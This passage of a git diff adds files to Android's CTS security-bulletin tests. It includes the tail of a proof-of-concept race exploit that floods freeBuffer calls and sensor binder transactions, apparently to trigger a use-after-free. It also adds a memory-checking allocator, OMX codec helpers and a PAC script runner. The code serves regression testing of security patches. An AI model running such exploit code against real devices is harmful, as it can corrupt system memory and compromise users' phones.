+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+      IPCThreadState::self()->freeBuffer(NULL, rmData, 0, NULL, 0, NULL);
+    }
+
+    attack_signal = ATTACK;
+    my_futex(&attack_signal, FUTEX_WAKE_PRIVATE, 1, NULL, NULL, 0);
+    usleep(100);
+    {
+      Parcel data, reply;
+      IInterface::asBinder(sensorEventConnection)
+          ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+      for (int i = 0; i < 20; i++)
+        IInterface::asBinder(sensorEventConnection)
+            ->transact(0xdeadbfff /*FLUSH_SENSOR*/, data, &reply, 0x2f2f);
+    }
+    attack_signal = SLEEP;
+  }
+
+  return NULL;
+}
+
+int main() {
+  pthread_t t1, t2, t3;
+
+  test_started = start_timer();
+
+  pthread_create(&t1, NULL, bcfree_helper, NULL);
+  pthread_create(&t2, NULL, bcfree, NULL);
+  pthread_create(&t3, NULL, bcfree_helper, NULL);
+  pthread_join(t1, NULL);
+  pthread_join(t2, NULL);
+  pthread_join(t3, NULL);
+  return EXIT_SUCCESS;
+}
+
+#else
+int main() {
+  // do nothing on 32-bit because we can't compile on 32-bit and we need a
+  // binary to push or the filepusher will break on 32-bit.
+}
+#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
new file mode 100644
index 0000000..650d2f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
@@ -0,0 +1,267 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/mman.h>
+#include <stdlib.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <unistd.h>
+#include <signal.h>
+#include "memutils.h"
+
+void exit_handler(void) {
+    size_t page_size = getpagesize();
+    for (int i = 0; i < s_mem_map_index; i++) {
+        if (NULL != s_mem_map[i].start_ptr) {
+            ENABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+                              (s_mem_map[i].num_pages * page_size));
+        }
+    }
+#ifdef CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE
+    for (int i = 0; i < MAX_ENTRIES; i++) {
+        if (NULL != s_free_list[i].start_ptr) {
+            ENABLE_MEM_ACCESS(s_free_list[i].start_ptr,
+                    (s_free_list[i].num_pages * page_size));
+            real_free(s_free_list[i].start_ptr);
+            memset(&s_free_list[i], 0, sizeof(map_struct_t));
+        }
+    }
+#endif /* CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE */
+}
+
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+    exit_handler();
+    (*old_sa.sa_sigaction)(signum, info, context);
+}
+
+void sighandler_init(void) {
+    sigemptyset(&new_sa.sa_mask);
+    new_sa.sa_flags = SA_SIGINFO;
+    new_sa.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_sa, &old_sa);
+}
+
+void memutils_init(void) {
+    real_memalign = dlsym(RTLD_NEXT, "memalign");
+    if (NULL == real_memalign) {
+        return;
+    }
+    real_calloc = dlsym(RTLD_NEXT, "calloc");
+    if (NULL == real_calloc) {
+        return;
+    }
+    real_malloc = dlsym(RTLD_NEXT, "malloc");
+    if (NULL == real_malloc) {
+        return;
+    }
+    real_realloc = dlsym(RTLD_NEXT, "realloc");
+    if (NULL == real_realloc) {
+        return;
+    }
+    real_free = dlsym(RTLD_NEXT, "free");
+    if (NULL == real_free) {
+        return;
+    }
+    memset(&s_mem_map, 0, MAX_ENTRIES * sizeof(map_struct_t));
+    sighandler_init();
+    atexit(exit_handler);
+    s_memutils_initialized = 1;
+}
+
+void *memalign(size_t alignment, size_t size) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_MEMALIGN_CHECK) != ENABLE_MEMALIGN_CHECK) {
+        return real_memalign(alignment, size);
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+    char* start_ptr;
+    char* mem_ptr;
+    size_t total_size;
+    size_t aligned_size = size;
+    size_t num_pages;
+    size_t page_size = getpagesize();
+
+    /* User specified alignment is not respected and is overridden by
+     * "new_alignment". This is required to catch OOB read when read offset is
+     * less than user specified alignment. "new_alignment" is derived based on
+     * size_t, and helps to avoid bus errors due to non-aligned memory.
+     * "new_alignment", whenever used, is checked to ensure sizeof(size_t)
+     * has returned proper value                                            */
+    size_t new_alignment = sizeof(size_t);
+
+    if (s_mem_map_index == MAX_ENTRIES) {
+        return real_memalign(alignment, size);
+    }
+
+    if (alignment > page_size) {
+        return real_memalign(alignment, size);
+    }
+
+    if ((0 == page_size) || (0 == alignment) || (0 == size)
+            || (0 == new_alignment)) {
+        return real_memalign(alignment, size);
+    }
+#ifdef CHECK_OVERFLOW
+    if (0 != (size % new_alignment)) {
+        aligned_size = size + (new_alignment - (size % new_alignment));
+    }
+#endif
+
+    if (0 != (aligned_size % page_size)) {
+        num_pages = (aligned_size / page_size) + 2;
+    } else {
+        num_pages = (aligned_size / page_size) + 1;
+    }
+
+    total_size = (num_pages * page_size);
+    start_ptr = (char *) real_memalign(page_size, total_size);
+#ifdef CHECK_OVERFLOW
+#ifdef FORCE_UNALIGN
+    mem_ptr = (char *) start_ptr + ((num_pages - 1) * page_size) - size;
+#else
+    mem_ptr = (char *) start_ptr + ((num_pages - 1) * page_size) - aligned_size;
+#endif /* FORCE_UNALIGN */
+    DISABLE_MEM_ACCESS((start_ptr + ((num_pages - 1) * page_size)), page_size);
+#endif /* CHECK_OVERFLOW */
+#ifdef CHECK_UNDERFLOW
+    mem_ptr = (char *) start_ptr + page_size;
+    DISABLE_MEM_ACCESS(start_ptr, page_size);
+#endif /* CHECK_UNDERFLOW */
+    s_mem_map[s_mem_map_index].start_ptr = start_ptr;
+    s_mem_map[s_mem_map_index].mem_ptr = mem_ptr;
+    s_mem_map[s_mem_map_index].num_pages = num_pages;
+    s_mem_map[s_mem_map_index].mem_size = size;
+    s_mem_map_index++;
+    memset(mem_ptr, INITIAL_VAL, size);
+    return mem_ptr;
+}
+
+void *malloc(size_t size) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_MALLOC_CHECK) != ENABLE_MALLOC_CHECK) {
+        return real_malloc(size);
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+    return memalign(sizeof(size_t), size);
+}
+
+void *calloc(size_t nitems, size_t size) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_CALLOC_CHECK) != ENABLE_CALLOC_CHECK) {
+        return real_calloc(nitems, size);
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+    void *ptr = memalign(sizeof(size_t), (nitems * size));
+    if (ptr)
+        memset(ptr, 0, (nitems * size));
+    return ptr;
+}
+
+void *realloc(void *ptr, size_t size) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_REALLOC_CHECK) != ENABLE_REALLOC_CHECK) {
+        return real_realloc(ptr, size);
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+    if (ptr != NULL) {
+        int i = 0;
+        for (i = 0; i < s_mem_map_index; i++) {
+            if (ptr == s_mem_map[i].mem_ptr) {
+                void* temp = malloc(size);
+                if (temp == NULL) {
+                    return NULL;
+                }
+                if (s_mem_map[i].mem_size > size) {
+                    memcpy(temp, ptr, size);
+                } else {
+                    memcpy(temp, ptr, s_mem_map[i].mem_size);
+                }
+                free(s_mem_map[i].mem_ptr);
+                return temp;
+            }
+        }
+    }
+    return real_realloc(ptr, size);
+}
+
+void free(void *ptr) {
+    if (s_memutils_initialized == 0) {
+        memutils_init();
+    }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+    if ((enable_selective_overload & ENABLE_FREE_CHECK) != ENABLE_FREE_CHECK) {
+        return real_free(ptr);
+    }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+    if (ptr != NULL) {
+        int i = 0;
+        size_t page_size = getpagesize();
+        for (i = 0; i < s_mem_map_index; i++) {
+            if (ptr == s_mem_map[i].mem_ptr) {
+#ifdef CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE
+                s_free_list[s_free_write_index].start_ptr =
+                s_mem_map[i].start_ptr;
+                s_free_list[s_free_write_index].mem_ptr = s_mem_map[i].mem_ptr;
+                s_free_list[s_free_write_index].num_pages =
+                s_mem_map[i].num_pages;
+                s_free_list[s_free_write_index].mem_size = s_mem_map[i].mem_size;
+                s_free_write_index++;
+                s_free_list_size += s_mem_map[i].mem_size;
+                DISABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+                        (s_mem_map[i].num_pages * page_size));
+                memset(&s_mem_map[i], 0, sizeof(map_struct_t));
+                while (s_free_list_size > CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE) {
+                    ENABLE_MEM_ACCESS(
+                            s_free_list[s_free_read_index].start_ptr,
+                            (s_free_list[s_free_read_index].num_pages * page_size));
+                    real_free(s_free_list[s_free_read_index].start_ptr);
+                    s_free_list_size -= s_free_list[s_free_read_index].mem_size;
+                    memset(&s_free_list[s_free_read_index], 0,
+                            sizeof(map_struct_t));
+                    s_free_read_index++;
+                    if ((s_free_read_index == MAX_ENTRIES)
+                            || (s_free_read_index >= s_free_write_index)) {
+                        break;
+                    }
+                }
+                return;
+#else
+                ENABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+                                  (s_mem_map[i].num_pages * page_size));
+                real_free(s_mem_map[i].start_ptr);
+                memset(&s_mem_map[i], 0, sizeof(map_struct_t));
+                return;
+#endif /* CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE */
+            }
+        }
+    }
+    real_free(ptr);
+    return;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.h b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
new file mode 100644
index 0000000..10ee31e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.h
@@ -0,0 +1,68 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif /* __cplusplus */
+#define MAX_ENTRIES        (1024 * 1024)
+#define INITIAL_VAL        (0xBE)
+
+#define DISABLE_MEM_ACCESS(mem, size)\
+    mprotect((char *) mem, size, PROT_NONE);
+
+#define ENABLE_MEM_ACCESS(mem, size)\
+    mprotect((char *) mem, size, PROT_READ | PROT_WRITE);
+
+#define ENABLE_NONE               0x00
+#define ENABLE_MEMALIGN_CHECK     0x01
+#define ENABLE_MALLOC_CHECK       0x02
+#define ENABLE_CALLOC_CHECK       0x04
+#define ENABLE_REALLOC_CHECK      0x08
+#define ENABLE_FREE_CHECK         0x10
+#define ENABLE_ALL                ENABLE_MEMALIGN_CHECK | ENABLE_MALLOC_CHECK |\
+    ENABLE_CALLOC_CHECK | ENABLE_REALLOC_CHECK | ENABLE_FREE_CHECK
+
+typedef struct _map_struct_t {
+    void *start_ptr;
+    void *mem_ptr;
+    int num_pages;
+    size_t mem_size;
+} map_struct_t;
+
+static void* (*real_memalign)(size_t, size_t) = NULL;
+static void* (*real_calloc)(size_t, size_t) = NULL;
+static void* (*real_malloc)(size_t) = NULL;
+static void* (*real_realloc)(void *ptr, size_t size) = NULL;
+static void (*real_free)(void *) = NULL;
+static int s_memutils_initialized = 0;
+static int s_mem_map_index = 0;
+static struct sigaction new_sa, old_sa;
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+extern char enable_selective_overload;
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+#ifdef CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE
+static int s_free_write_index = 0;
+static int s_free_read_index = 0;
+static int s_free_list_size = 0;
+map_struct_t s_free_list[MAX_ENTRIES];
+#endif /* CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE */
+map_struct_t s_mem_map[MAX_ENTRIES];
+#if (!(defined CHECK_OVERFLOW) && !(defined CHECK_UNDERFLOW))
+    #error "CHECK MACROS NOT DEFINED"
+#endif
+#ifdef __cplusplus
+}
+#endif /* __cplusplus */
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp
new file mode 100644
index 0000000..38834d2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.cpp
@@ -0,0 +1,177 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "omxUtils.h"
+
+sp<IMediaPlayerService> mediaPlayerService = NULL;
+sp<IOMXNode> mOMXNode = 0;
+sp<IOMX> mOMX;
+omx_message msg;
+Mutex mLock;
+Condition mMessageAddedCondition;
+int32_t mLastMsgGeneration;
+int32_t mCurGeneration;
+List<omx_message> mMessageQueue;
+int numCallbackEmptyBufferDone;
+
+struct CodecObserver : public BnOMXObserver {
+ public:
+    CodecObserver(int32_t gen)
+            : mGeneration(gen) {
+    }
+
+    void onMessages(const std::list<omx_message> &messages) override;
+    int32_t mGeneration;
+
+ protected:
+    virtual ~CodecObserver() {
+    }
+};
+void handleMessages(int32_t gen, const std::list<omx_message> &messages) {
+    Mutex::Autolock autoLock(mLock);
+    for (std::list<omx_message>::const_iterator it = messages.cbegin();
+            it != messages.cend();) {
+        mMessageQueue.push_back(*it);
+        const omx_message &msg = *it++;
+        if (msg.type == omx_message::EMPTY_BUFFER_DONE) {
+            numCallbackEmptyBufferDone++;
+        }
+        mLastMsgGeneration = gen;
+    }
+    mMessageAddedCondition.signal();
+}
+void CodecObserver::onMessages(const std::list<omx_message> &messages) {
+    handleMessages(mGeneration, messages);
+}
+
+struct DeathNotifier : public IBinder::DeathRecipient,
+        public ::android::hardware::hidl_death_recipient {
+    explicit DeathNotifier() {
+    }
+    virtual void binderDied(const wp<IBinder> &) {
+        ALOGE("Binder Died");
+        exit (EXIT_FAILURE);
+    }
+    virtual void serviceDied(
+            uint64_t /* cookie */,
+            const wp<::android::hidl::base::V1_0::IBase>& /* who */) {
+        ALOGE("Service Died");
+        exit (EXIT_FAILURE);
+    }
+};
+sp<DeathNotifier> mDeathNotifier;
+status_t dequeueMessageForNode(omx_message *msg, int64_t timeoutUs) {
+    int64_t finishBy = ALooper::GetNowUs() + timeoutUs;
+    status_t err = OK;
+
+    while (err != TIMED_OUT) {
+        Mutex::Autolock autoLock(mLock);
+        if (mLastMsgGeneration < mCurGeneration) {
+            mMessageQueue.clear();
+        }
+        // Messages are queued in batches, if the last batch queued is
+        // from a node that already expired, discard those messages.
+        List<omx_message>::iterator it = mMessageQueue.begin();
+        while (it != mMessageQueue.end()) {
+            *msg = *it;
+            mMessageQueue.erase(it);
+            return OK;
+        }
+        if (timeoutUs < 0) {
+            err = mMessageAddedCondition.wait(mLock);
+        } else {
+            err = mMessageAddedCondition.waitRelative(
+                    mLock, (finishBy - ALooper::GetNowUs()) * 1000);
+        }
+    }
+    return err;
+}
+void omxUtilsCheckCmdExecution(char *name) {
+    status_t err = dequeueMessageForNode(&msg, DEFAULT_TIMEOUT);
+    if (err == TIMED_OUT) {
+        ALOGE("[omxUtils] OMX command timed out for %s, exiting the app", name);
+        exit (EXIT_FAILURE);
+    }
+}
+void omxExitOnError(status_t ret) {
+    if (ret != OK) {
+        exit (EXIT_FAILURE);
+    }
+}
+status_t omxUtilsInit(char *codecName) {
+    android::ProcessState::self()->startThreadPool();
+    OMXClient client;
+    if (client.connect() != OK) {
+        ALOGE("Failed to connect to OMX to create persistent input surface.");
+        return NO_INIT;
+    }
+    mOMX = client.interface();
+    sp<CodecObserver> observer = new CodecObserver(++mCurGeneration);
+    status_t ret = mOMX->allocateNode(codecName, observer, &mOMXNode);
+    if (ret == OK) {
+        mDeathNotifier = new DeathNotifier();
+        auto tOmxNode = mOMXNode->getHalInterface<IOmxNode>();
+        if (tOmxNode != NULL) {
+            tOmxNode->linkToDeath(mDeathNotifier, 0);
+        } else {
+            ALOGE("No HAL Interface");
+            exit (EXIT_FAILURE);
+        }
+    }
+    numCallbackEmptyBufferDone = 0;
+    return ret;
+}
+status_t omxUtilsGetParameter(int portIndex,
+                              OMX_PARAM_PORTDEFINITIONTYPE *params) {
+    InitOMXParams(params);
+    params->nPortIndex = portIndex;
+    return mOMXNode->getParameter(OMX_IndexParamPortDefinition, params,
+                                  sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+}
+status_t omxUtilsSetParameter(int portIndex,
+                              OMX_PARAM_PORTDEFINITIONTYPE *params) {
+    InitOMXParams(params);
+    params->nPortIndex = portIndex;
+    return mOMXNode->setParameter(OMX_IndexParamPortDefinition, params,
+                                  sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+}
+status_t omxUtilsSetPortMode(OMX_U32 portIndex, IOMX::PortMode mode) {
+    return mOMXNode->setPortMode(portIndex, mode);
+}
+status_t omxUtilsUseBuffer(OMX_U32 portIndex, const OMXBuffer &omxBuf,
+                           android::IOMX::buffer_id *buffer) {
+    return mOMXNode->useBuffer(portIndex, omxBuf, buffer);
+}
+status_t omxUtilsSendCommand(OMX_COMMANDTYPE cmd, OMX_S32 param) {
+    int ret = mOMXNode->sendCommand(cmd, param);
+    omxUtilsCheckCmdExecution((char *) __FUNCTION__);
+    return ret;
+}
+status_t omxUtilsEmptyBuffer(android::IOMX::buffer_id buffer,
+                             const OMXBuffer &omxBuf, OMX_U32 flags,
+                             OMX_TICKS timestamp, int fenceFd) {
+    return mOMXNode->emptyBuffer(buffer, omxBuf, flags, timestamp, fenceFd);
+}
+status_t omxUtilsFillBuffer(android::IOMX::buffer_id buffer,
+                            const OMXBuffer &omxBuf, int fenceFd) {
+    return mOMXNode->fillBuffer(buffer, omxBuf, fenceFd);
+}
+status_t omxUtilsFreeBuffer(OMX_U32 portIndex,
+                            android::IOMX::buffer_id buffer) {
+    return mOMXNode->freeBuffer(portIndex, buffer);
+}
+status_t omxUtilsFreeNode() {
+    return mOMXNode->freeNode();
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
new file mode 100644
index 0000000..8986c32
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/omxUtils.h
@@ -0,0 +1,88 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <jni.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <binder/IServiceManager.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <ui/GraphicBuffer.h>
+#include <android/hardware/media/omx/1.0/IOmx.h>
+#include <android/hardware/media/omx/1.0/IOmxNode.h>
+#include <android/hardware/media/omx/1.0/IOmxObserver.h>
+#include <android/hardware/media/omx/1.0/types.h>
+#include <android/hidl/allocator/1.0/IAllocator.h>
+#include <android/hidl/memory/1.0/IMapper.h>
+#include <android/hidl/memory/1.0/IMemory.h>
+#include <android/IGraphicBufferSource.h>
+#include <android/IOMXBufferSource.h>
+#include <media/omx/1.0/WOmx.h>
+#include <binder/MemoryDealer.h>
+#include "HardwareAPI.h"
+#include "OMX_Component.h"
+#include <binder/ProcessState.h>
+#include <media/stagefright/foundation/ALooper.h>
+#include <utils/List.h>
+#include <utils/Vector.h>
+#include <utils/threads.h>
+#include <inttypes.h>
+#include <utils/Log.h>
+#include <media/stagefright/OMXClient.h>
+
+#define DEFAULT_TIMEOUT   5000000
+#define OMX_UTILS_IP_PORT 0
+#define OMX_UTILS_OP_PORT 1
+
+using namespace android;
+typedef hidl::allocator::V1_0::IAllocator IAllocator;
+
+template<class T>
+static void InitOMXParams(T *params) {
+    params->nSize = sizeof(T);
+    params->nVersion.s.nVersionMajor = 1;
+    params->nVersion.s.nVersionMinor = 0;
+    params->nVersion.s.nRevision = 0;
+    params->nVersion.s.nStep = 0;
+}
+struct Buffer {
+    IOMX::buffer_id mID;
+    sp<IMemory> mMemory;
+    hidl_memory mHidlMemory;
+    uint32_t mFlags;
+};
+
+status_t omxUtilsInit(char *codecName);
+status_t omxUtilsGetParameter(int portIndex,
+                              OMX_PARAM_PORTDEFINITIONTYPE *params);
+status_t omxUtilsSetParameter(int portIndex,
+                              OMX_PARAM_PORTDEFINITIONTYPE *params);
+status_t omxUtilsSetPortMode(OMX_U32 port_index, IOMX::PortMode mode);
+status_t omxUtilsUseBuffer(OMX_U32 portIndex, const OMXBuffer &omxBuf,
+                           android::IOMX::buffer_id *buffer);
+status_t omxUtilsSendCommand(OMX_COMMANDTYPE cmd, OMX_S32 param);
+status_t omxUtilsEmptyBuffer(android::IOMX::buffer_id buffer,
+                             const OMXBuffer &omxBuf, OMX_U32 flags,
+                             OMX_TICKS timestamp, int fenceFd);
+status_t omxUtilsFillBuffer(android::IOMX::buffer_id buffer,
+                            const OMXBuffer &omxBuf, int fenceFd);
+status_t omxUtilsFreeBuffer(OMX_U32 portIndex,
+                            android::IOMX::buffer_id buffer);
+status_t omxUtilsFreeNode();
+status_t dequeueMessageForNode(omx_message *msg, int64_t timeoutUs);
+void omxExitOnError(status_t ret);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk b/hostsidetests/securitybulletin/securityPatch/pac/Android.mk
similarity index 79%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk
copy to hostsidetests/securitybulletin/securityPatch/pac/Android.mk
index e21a08e..1960664 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3913/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/pac/Android.mk
@@ -10,26 +10,27 @@
 # distributed under the License is distributed on an "AS IS" BASIS,
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
-# limitations under the License.
+# limitations under the License
 
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-3913
-LOCAL_SRC_FILES := poc.cpp
+LOCAL_MODULE := pacrunner
+LOCAL_SRC_FILES := pac.cpp
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
-LOCAL_SHARED_LIBRARIES := \
-    libbinder \
-    libutils \
-    libmedia \
+LOCAL_C_INCLUDES:= \
+        $(TOP)/external/chromium-libpac/includes \
 
-# Tag this module as a cts test artifact
+LOCAL_SHARED_LIBRARIES := \
+        libpac \
+
 LOCAL_COMPATIBILITY_SUITE := cts sts vts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-LOCAL_CPPFLAGS += -Wall -Werror -Wno-unused-parameter
+LOCAL_CFLAGS := -Wall -Werror
 include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
new file mode 100644
index 0000000..393848d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/pac/pac.cpp
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <proxy_resolver_v8_wrapper.h>
+#include <sys/types.h>
+#include <string.h>
+#include <codecvt>
+#include <fstream>
+#include <iostream>
+
+const char16_t* spec = u"";
+const char16_t* host = u"";
+
+int main(int argc, char *argv[]) {
+  if (argc != 2) {
+    std::cout << "incorrect number of arguments" << std::endl;
+    std::cout << "usage: ./pacrunner mypac.pac" << std::endl;
+    return EXIT_FAILURE;
+  }
+
+  ProxyResolverV8Handle* handle = ProxyResolverV8Handle_new();
+
+  std::ifstream t;
+  t.open(argv[1]);
+  if (t.rdstate() != std::ifstream::goodbit) {
+    std::cout << "error opening file" << std::endl;
+    return EXIT_FAILURE;
+  }
+  t.seekg(0, std::ios::end);
+  size_t size = t.tellg();
+  // allocate an extra byte for the null terminator
+  char* raw = (char*)calloc(size + 1, sizeof(char));
+  t.seekg(0);
+  t.read(raw, size);
+  std::string u8Script(raw);
+  std::u16string u16Script = std::wstring_convert<
+        std::codecvt_utf8_utf16<char16_t>, char16_t>{}.from_bytes(u8Script);
+
+  ProxyResolverV8Handle_SetPacScript(handle, u16Script.data());
